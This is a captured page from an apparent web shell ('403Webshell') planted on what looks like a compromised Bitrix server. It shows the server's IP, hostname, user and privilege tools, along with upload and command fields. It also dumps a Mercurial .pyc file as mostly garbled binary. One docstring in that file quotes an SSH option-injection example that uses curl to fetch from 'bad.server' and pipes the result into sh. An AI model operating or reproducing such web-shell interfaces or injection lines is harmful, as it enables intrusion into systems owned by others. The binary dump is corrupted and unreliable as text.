403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/utils/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/utils/__pycache__/urlutil.cpython-39.opt-1.pyc
a

�+�bAw�@s�ddlZddlZddlZddlmZddlmZmZddl	m
Z
mZmZmZddl	m
Z
ejrjddlmZejZd	d
�ZGdd�de�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�ZdBdd�Zdd�Zdd�Zdd �ZdCd!d"�ZdDd$d%�Z dEd&d'�Z!dFd(d)�Z"Gd*d+�d+e#�Z$iZ%d,d-�Z&e&d.d/�d0d1��Z'e&d2d2�d3d4��Z(hd5�Z)e&d6d7�d8d9��Z*e&d:d;�d<d=��Z+d>d?�Z,Gd@dA�dAe�Z-dS)G�N�)�_)�getattr�setattr)�encoding�error�pycompat�urllibcompat�)�
stringutil)�UnioncCs\z
t|�WStyYn0zt�t�|��WStjyVt�td�|��Yn0dS)z�Return the port for a given network service.

    If port is an integer, it's returned as is. If it's a string, it's
    looked up using socket.getservbyname(). If there's no matching
    service, error.Abort is raised.
    s+no port number associated with service '%s'N)	�int�
ValueError�socketZ
getservbynamerZsysstrr�Abortr)�port�r�=/usr/lib64/python3.9/site-packages/mercurial/utils/urlutil.py�getport$s

�rc@sveZdZdZdZdZe�d�jZ	ddd�Z
dd	�Zej
d
d��Zdd
�Ze�
e�Zdd�Zdd�Zdd�Zdd�ZdS)�urla�	Reliable URL parser.

    This parses URLs and provides attributes for the following
    components:

    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>

    Missing components are set to None. The only exception is
    fragment, which is set to '' if present but empty.

    If parsefragment is False, fragment is included in query. If
    parsequery is False, query is included in path. If both are
    False, both fragment and query are included in path.

    See http://www.ietf.org/rfc/rfc2396.txt for more information.

    Note that for backward compatibility reasons, bundle URLs do not
    take host names. That means 'bundle://../' has a path of '../'.

    Examples:

    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
    >>> url(b'ssh://[::1]:2200//home/joe/repo')
    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
    >>> url(b'file:///home/joe/repo')
    <url scheme: 'file', path: '/home/joe/repo'>
    >>> url(b'file:///c:/temp/foo/')
    <url scheme: 'file', path: 'c:/temp/foo/'>
    >>> url(b'bundle:foo')
    <url scheme: 'bundle', path: 'foo'>
    >>> url(b'bundle://../foo')
    <url scheme: 'bundle', path: '../foo'>
    >>> url(br'c:\foo\bar')
    <url path: 'c:\\foo\\bar'>
    >>> url(br'\\blah\blah\blah')
    <url path: '\\\\blah\\blah\\blah'>
    >>> url(br'\\blah\blah\blah#baz')
    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
    >>> url(br'file:///C:\users\me')
    <url scheme: 'file', path: 'C:\\users\\me'>

    Authentication credentials:

    >>> url(b'ssh://joe:xyz@x/repo')
    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
    >>> url(b'ssh://joe@x/repo')
    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>

    Query strings and fragments:

    >>> url(b'http://host/a?b#c')
    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
    <url scheme: 'http', host: 'host', path: 'a?b#c'>

    Empty path:

    >>> url(b'')
    <url path: ''>
    >>> url(b'#a')
    <url path: '', fragment: 'a'>
    >>> url(b'http://host/')
    <url scheme: 'http', host: 'host', path: ''>
    >>> url(b'http://host/#a')
    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>

    Only scheme:

    >>> url(b'http:')
    <url scheme: 'http'>
    s!~*'()+s
/!~*'()+:\s^[a-zA-Z0-9+.\-]+:TcCs�d|_|_|_|_d|_|_|_|_d|_d|_	||_
|r`d|vr`|�dd�\}|_t|�sr|�
d�r|||_dS|�
d�r�d|_|dd�}|�
d	�r�|d
d�}||_dS|�|�r�|�dd�}|dr�|\|_}d
|_|�sd}|j�r�d|_dS�n�|j�r||_dS|�rRd|v�rR|�dd�\}|_|�sDd}|j�sRd|_|�r�|�
d	��r�|d
d��dd�}t|�dk�r�|\|_}n|d|_d}|j�s�d|_|�r�t|��s�d|}|j�r d|jv�r |j�dd�\|_|_d|jv�r|j�dd�\|_|_|j�s d|_|j�r|d|jv�r||j�
d��rP|j�d��s||j|_	|j�dd�\|_|_|j�s|d|_|j�r�|jdk�r�|jdv�r�t�td���||_dD],}t||�}|du�r�t||t�|���q�dS)NT��#r
�\\�bundle:�bundle��//r�:rF�?�/�@�[�]�file)s	localhosts	127.0.0.1s[::1]s(file:// URLs can only refer to localhost)�user�passwd�host�port�path�fragment)�scheme�user�passwd�hostr�path�query�fragment�
_localpath�	_hostport�	_origpath�split�hasdriveletter�
startswith�_matchscheme�len�rsplit�endswithrrrrr�urlreq�unquote)�selfr.�
parsequery�
parsefragment�parts�a�vrrr�__init__�s�




��
�
�����

zurl.__init__cCsdtd�}|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j	|_	|j
|_
|S)Nstemporary useless value)rr.r*r+r,r-r/r0r1r2r3)r=�urrr�copy�szurl.copycCsFg}dD].}t||�}|dur|�d|t�|�f�qdd�|�S)N)sschemer$r%r&r'r(squeryr)s%s: %rs<url %s>s, )r�appendr�bytestr�join)r=�attrsrArBrrr�__repr__�s

zurl.__repr__cCs�|jr6|j}|jdkrd|}|jr2|d|j7}|S|jd}|jsR|jsR|jr\|d7}n<|jr�|jr~|j�d�s~t|j�r�|d7}t|j�r�|d7}|jr�|t	j
|j|jd�7}|jr�|dt	j
|j|jd�7}|js�|jr�|d7}|j�r(|j�d	��r|j�d
��s|t	�
|j�7}n
||j7}|j
�rD|dt	�
|j
�7}|j�rT|d7}|j�rr|t	j
|j|jd�7}|j�r�|d|j7}|jdu�r�|dt	j
|j|jd�7}|S)
a�Join the URL's components back into a URL string.

        Examples:

        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
        'http://user:pw@host:80/?foo=bar&baz=42'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
        'http://user:pw@host:80/?foo=bar%3dbaz'
        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
        'ssh://user:pw@[::1]:2200//home/joe#'
        >>> bytes(url(b'http://localhost:80//'))
        'http://localhost:80//'
        >>> bytes(url(b'http://localhost:80/'))
        'http://localhost:80/'
        >>> bytes(url(b'http://localhost:80'))
        'http://localhost:80/'
        >>> bytes(url(b'bundle:foo'))
        'bundle:foo'
        >>> bytes(url(b'bundle://../foo'))
        'bundle:../foo'
        >>> bytes(url(b'path'))
        'path'
        >>> bytes(url(b'file:///tmp/foo/bar'))
        'file:///tmp/foo/bar'
        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
        'file:///c:/tmp/foo/bar'
        >>> print(url(br'bundle:foo\bar'))
        bundle:foo\bar
        >>> print(url(br'file:///D:\data\hg'))
        file:///D:\data\hg
        rrrrrr)�safer r!r"rN)r1r.r*r0r+r,r-r6r5r;�quote�
_safecharsr:r�_safepcharsr/)r=�srrr�	__bytes__sR"


�
��

z
url.__bytes__c	Csr|j|j}}z&d\|_|_t|�}W|||_|_n|||_|_0|jsT|dfS|d||jf|j|jpldffS)N)NNr)r+r,�bytesr-)r=r+r,rOrrr�authinfo`s
 zurl.authinfocCsF|jr|jdkrdSt|j�r"dS|j�d�r2dS|j�d�rBdSdS)Nr#TrrF)r*r5r.r6�r=rrr�isabsos
z	url.isabscCsd|jdks|jdkr^|jpd}t|j�r:|jd|j}n |jdurZ|jrZt|�sZd|}|S|jS)Nr#rr)r*r.r5r2r-r3�r=r.rrr�	localpathzs

���z
url.localpathcCs|jp|jdkp|jdkS)z?whether localpath will return something that posixfile can openr#r)r*rSrrr�islocal�s
��zurl.islocalN)TT)�__name__�
__module__�__qualname__�__doc__rMrN�remod�compile�matchr7rCrErZ	strmethodrJrP�__str__rRrTrVrWrrrrr9sI
f
P
rcCstt|�j�S�N)�boolrr*�r.rrr�	hasscheme�srccCs(t|�o&|dd�dko&|dd���S)Nr
rrr)ra�isalpharbrrrr5�sr5cCst|ddd���S)NF)r>r?)rrVrbrrr�urllocalpath�srecCs<t�|�}|�d�s|�d�r8t�td�t�|�f��dS)a\check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    sssh://-ssvn+ssh://-spotentially unsafe url: %rN)r;r<r6rrrrrGrbrrr�checksafessh�s

�rfcCst|�}|jrd|_t|�S)z$hide user credential in a url strings***)rr,rQ�rDrrr�hidepassword�srhcCst|�}d|_|_t|�S)z7remove all authentication information from a url stringN)rr+r,rQrgrrr�
removeauth�sricCsfg}|dur@tt�|j��D] \}}|D]}|�||f�q(qn"|j�|g�D]}|�||f�qN|S)z+list all the (name, paths) in the passed uiN)�sortedr�	iteritems�pathsrF�get)�uiZtarget_path�result�namerl�pr.rrr�
list_paths�srrcCs*zt|d|d�WSty$YdS0dS)zLtry to build a path from a url

    Return None if no Path could built.
    N��rawloc)r.r)rnrrrr�try_path�sruccs�|s`d|jvr&|jdD]
}|Vqq�d|jvrH|jdD]
}|Vq:q�tjtd�td�d��n^|D]X}||jvr�|j|D]
}|Vq|qdt||�}|dur�td�}||;}t�|��|VqddS)z=yields all the `path` selected as push destination by `dests`sdefault-push�defaults"default repository not configured!ssee 'hg help config.paths')�hintN�repository %s does not exist)rlrZConfigErrorrru�	RepoError)�reporn�destsrq�destr.�msgrrr�get_push_paths�s*



�



r~ccsP|s
dg}|D]<}||jvr4|j|D]
}|Vq&qt|d|dd�}|VqdS)zDyields all the `(path, branch)` selected as pull source by `sources`rvNF)�
validate_path)rlr.)rzrnZsources�sourcerqrrr�get_pull_paths�s

r�cCs~|durg}n|g}tt|||��}t|�dkrv|durRtd�}|t|�|f;}ntd�}|t|�||f;}t�|��|dS)a5return a unique `path` or abort if multiple are found

    This is useful for command and action that does not support multiple
    destination (yet).

    Note that for now, we cannot get multiple destination so this function is "trivial".

    The `action` parameter will be used for the error message.
    Nr
�9default path points to %d urls while %s only supports one�5path points to %d urls while %s only supports one: %sr)�listr~r8rrr)�actionrzrnr|r{r}rrr�get_unique_push_paths
�
r�rcCs�g}|dur>d|jvr2|�dd�|jdD��q�|�d�nP||jvrd|�dd�|j|D��n*t||�}|dur�|�|j�n
|�|�t|�dkr�|dur�td�}|t|�|f;}ntd�}|t|�||f;}t�|��t	|d	|�S)
a?return a unique `(path, branch)` or abort if multiple are found

    This is useful for command and action that does not support multiple
    destination (yet).

    Note that for now, we cannot get multiple destination so this function is "trivial".

    The `action` parameter will be used for the error message.
    Nrvcss|]}|jVqdSr`rs��.0rqrrr�	<genexpr>0rz'get_unique_pull_path.<locals>.<genexpr>css|]}|jVqdSr`rsr�rrrr�7rr
r�r�r�
rl�extendrFrurtr8rrr�parseurl)r�rzrnr��default_branches�urlsr.r}rrr�get_unique_pull_path#s*




�
r�c	Cs�g}|dur>d|jvr2|�dd�|jdD��q�|�d�nP||jvrd|�dd�|j|D��n*t||�}|dur�|�|j�n
|�|�t|�dkr�|dur�td�}|t|�;}ntd�}|t|�|f;}t�|��|d	}t	||�\}}|||fS)
z@return the `(origsource, path, branch)` selected as clone sourceNrvcss|]}|jVqdSr`rsr�rrrr�Qrz!get_clone_path.<locals>.<genexpr>css|]}|jVqdSr`rsr�rrrr�Xrr
s:default path points to %d urls while only one is supporteds6path points to %d urls while only one is supported: %srr�)	rnr�r�r�r.r}rZ
clone_path�branchrrr�get_clone_pathLs.



�
r�cCs2t|�}d}|jr|j}d|_t|�||p,gffS)z5parse url#branch, returning (url, (branch, branches))N)rr0rQ)r.ZbranchesrDr�rrrr�osr�c@s"eZdZdZdd�Zddd�ZdS)rlz�Represents a collection of paths and their configs.

    Data is initially derived from ui instances and the config files they have
    loaded.
    cCsNt�|�tj�d�}|jddd�D]�\}}|s2q$|�d|�\}}|�d|�}|||f}|j�	||�}	|�	d�}
|
dur�t
�|
�r�t
�|�}n|g}g}|D]`}
tj�
|
�}
tj�|
�}
t|
�s�tj�|
�s�tj�tj�|	|
��}
t|||
|d�}|�|�q�|||<q$t|���D]4\}}g}|D]}|�t|||���q$|||<�qdS)N�~�pathsT)Z	ignoresub�
multi-urls)rt�
suboptions)�dictrC�osr.�
expanduserZconfigitems�configsuboptionsZconfigsourceZ
_path_to_rootrmr�	parseboolZ	parselist�
expandvarsrcrT�normpathrHrFrj�itemsr��_chain_path)r=rnZ	home_pathrp�value�_value�sub_optsrOZroot_key�rootZ	multi_urlZ	base_locsrl�locrqZ	old_paths�	new_pathsrrrrC�s6



zpaths.__init__Nc	Cs�d}|�|d�|durn|s"d}nt|ttf�s6|f}|D].}z||dWStyfYq:Yq:0q:dS|svdS||vr�||dSt||�}|dur�t�td�|��|j	SdS)aReturn a ``path`` from a string, falling back to default.

        ``name`` can be a named path or locations. Locations are filesystem
        paths or URIs.

        Returns None if ``name`` is not a registered path, a URI, or a local
        path to a repo.
        s9getpath is deprecated, use `get_*` functions from urlutils6.0Nrrrx)
Z
deprecwarn�
isinstance�tupler��KeyErrorrurryrrt)r=rnrp�defaultr}�kr.rrr�getpath�s*	
z
paths.getpath)N)rXrYrZr[rCr�rrrrrlys$rlcs��fdd�}|S)a�Decorator used to declare a path sub-option.

    Arguments are the sub-option name and the attribute it should set on
    ``path`` instances.

    The decorated function will receive as arguments a ``ui`` instance,
    ``path`` instance, and the string value of this option from the config.
    The function should return the value that will be set on the ``path``
    instance.

    This decorator can be used to perform additional verification of
    sub-options and to change the type of sub-options.
    cs�|ft�<|Sr`)�_pathsuboptions)�func��attr�optionrr�register�szpathsuboption.<locals>.registerr)r�r�r�rr�r�
pathsuboption�sr�spushurlspushloccCsZt|�}|js2td�}||j|f;}|�|�dS|jrR|�td�|j�d|_t|�S)Ns-(paths.%s:pushurl not a URL; ignoring: "%s")
s:("#fragment" in paths.%s:pushurl not supported; ignoring)
)rr*rrp�warnr0rQ)rnr.r�rDr}rrr�pushurlpathoption�s 
���r�spushrevcCs|Sr`r)rnr.r�rrr�pushrevpathoption�sr�>smirrorrvsignoresbookmarks.modesbookmarks_modecCsH|tvr8|j}|durd}td�}|||f;}|�|�|dkrDd}|S)N�*s2(paths.%s:bookmarks.mode has unknown value: "%s")
rv)�SUPPORTED_BOOKMARKS_MODESrprr�)rnr.r��	path_namer}rrr�bookmarks_mode_options
r�r�s
multi_urlscCs.t�|�}|dur*|�td�|j�d}|S)Ns.(paths.%s:multi-urls not a boolean; ignoring)
F)rr�r�rrp)rnr.r��resrrr�multiurls_pathoptions
�r�c
Csg}|jjdkr|�|�n�|�|jj�}|durVtd�}||j|jjf;}t�|��|D]�}|�	�}|j
jdkr�td�}||j|jjf;}t�|��|j|_|j|_|j|_|jdur�|j|_n"|j�
dd�d}d||jf|_|j�	�}	|	�|j�|�||	�|�|�qZ|S)	z<return the result of "path://" logic applied on a given pathr(Ns)cannot use `%s`, "%s" is not a known paths4cannot use `%s`, "%s" is also defined as a `path://`rr
rs%s#%s)rr*rFrmr-rrtrrrE�raw_urlr�r�r9�
_all_sub_opts�update�
_own_sub_opts�_apply_suboptions)
�	base_pathrnrlr�Z	sub_paths�mZsubpathr.�baser�rrrr�"s4




r�c@sFeZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Ze	dd��Z
dS)r.z4Represents an individual path and its configuration.NTc
Cs�|durdS|std��t|�}d}|jr6|j}d|_||_|��|_||_||_||_d||_|rn|�	�|�
dd�\}}	i|_|dur�|��|_|	�|�|	��|_
|�||	�dS)a�Construct a path from its config options.

        ``ui`` is the ``ui`` instance the path is coming from.
        ``name`` is the symbolic name of the path.
        ``rawloc`` is the raw location, as defined in the config.
        ``pushloc`` is the raw locations pushes should be made to.

        If ``name`` is not defined, we require that the location be a) a local
        filesystem path with a .hg directory or b) a URL. If not,
        ``ValueError`` is raised.
        Nsrawloc must be defineds%sr�r�)rrr0rEr�r�rprtr��_validate_pathr�r�r�r�r�)
r=rnrprtr�rrDr��_pathr�rrrrCFs0




z
path.__init__cCsD|��}|j��D],\}}t|dd�}|dur4|�}||j|<q|S)zmake a copy of this path objectrEN)�	__class__�__dict__r�r)r=�newr�rBZnew_copyrrrrEsz	path.copycCs,|js(|jjs(|�|j�s(td|j��dS)Ns1location is not a URL or path to a local repo: %s)rprr*�_isvalidlocalpathr�rrtrSrrrr��s��
���zpath._validate_pathcCsNt�t�D]>\}\}}||vr,t||d�q
|||||�}t|||�q
dSr`)rrkr�r)r=rnZsub_optionsZ	suboptionr�r�r�rrrr��szpath._apply_suboptionsc	Cs6ztj�tj�|d��WSttfy0YdS0dS)z�Returns True if the given path is a potentially valid repository.
        This is its own function so that extensions can change the definition of
        'valid' in this case (like when pulling from a git repo into a hg
        one).s.hgFN)r�r.�isdirrH�	TypeErrorrrUrrrr��szpath._isvalidlocalpathcCs:i}t�t�D]&\}\}}t||�}|dur|||<q|S)z{Return sub-options and their values for this path.

        This is intended to be used for presentation purposes.
        N)rrkr�r)r=�dZsuboptr�Z_funcr�rrrr��s

zpath.suboptions)NNNNT)rXrYrZr[rCrEr�r�r��propertyr�rrrrr.Cs�
9

r.)N)N)Nr)r)N).r��rer\rZi18nrrrr�rrr	r�
TYPE_CHECKING�typingrr;r�objectrrcr5rerfrhrirrrur~r�r�r�r�r�r�rlr�r�r�r�r�r�r�r�r.rrrr�<module>sR[	


)
#

Q




!

Youez - 2016 - github.com/yon3zu
LinuXploit